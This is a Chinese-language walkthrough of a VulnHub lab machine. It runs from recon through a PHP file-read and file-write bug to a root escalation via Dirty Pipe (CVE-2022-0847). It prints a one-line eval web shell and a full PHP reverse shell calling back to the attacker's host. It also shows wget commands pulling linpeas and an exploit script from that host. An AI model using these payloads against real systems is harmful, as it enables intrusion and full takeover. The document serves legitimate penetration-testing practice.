vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS
准备:
攻击机:虚拟机kali、本机win10。
靶机:Matrix-Breakout: 2 Morpheus,下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下载后直接vm打开即可。
知识点:文件上传、php伪协议、shell反弹、漏洞收集脚本的使用、CVE-2022-0847提权。
一:信息收集
1.nmap扫描
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22端口、80端口、81端口,开启了http服务、ssh服务。
2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.3 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt、graffiti.txt、graffiti.php等文件。
二:获取shell
1.burpsuite抓包
访问下扫描到的文件信息,获得如下信息:
使用brupsuite抓取提交的数据包进行分析,发现其存在参数file=graffiti.txt,并且返回的数据包中显示了graffiti.txt文件的信息。
那这里就存在文件读取漏洞。那我们使用php伪协议读取下graffiti.php文件的源码信息,命令:php://filter/read=convert.base64-encode/resource=graffiti.php,将获得加密数据进行base64解码,获得源码信息。
graffiti.php代码信息
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
2.文件上传获取shell
分析graffiti.php代码发现,当$file参数默认为graffiti.txt,但是当我们传递$file参数时会覆盖掉原来的默认值,因此这里我们可以直接写入后门文件,一句话后门:<?php%20eval($_POST['x']);?>,然后使用蚁剑进行连接,成功获得shell权限。这里注意下使用get的时候会出问题,尽量使用POST。
3.shell反弹
在这个网站:https://www.revshells.com/,使用php生成shell反弹脚本,然后在kali中开启web服务:python -m http.server,将shell反弹脚本下载到靶机:wget http://172.20.10.7:8000/backShell.php,在web中访问该文件即可获得反弹shell:http://172.20.10.3/backShell.php。
backShell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.7';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
获得shell权限后在当前目录下发现FLAG.txt文件,访问该文件获得flag值。
三:提权
1.漏洞信息查找
在shell中一番查找也未发现有用的信息,在home下发现两个账户信息,但是查找和两个账户有关的信息,也未发现有啥可利用的信息。
那就直接上脚本吧,利用脚本查找下可以利用的漏洞信息。脚本链接:链接:https://pan.baidu.com/s/1FUd0ohk7rkl-cJR18jkQ0w,提取码:upfn。命令:wget http://172.20.10.7:8000/linpeas.sh,然后赋予执行权限进行执行。
执行脚本后发现存在cve-2022-0847漏洞,这里可以尝试使用该漏洞进行提权,查找下该漏洞的提权方式:https://github.com/imfiver/CVE-2022-0847。
2.CVE-2022-0847提权
下载提权脚本后上传到靶机,命令:wget http://172.20.10.7:8000/Dirty-Pipe.sh,赋予执行权限后执行该脚本成功获得root权限。
获得root权限后在/root目录下发现FLAG.txt文件,访问该文件成功获得flag值。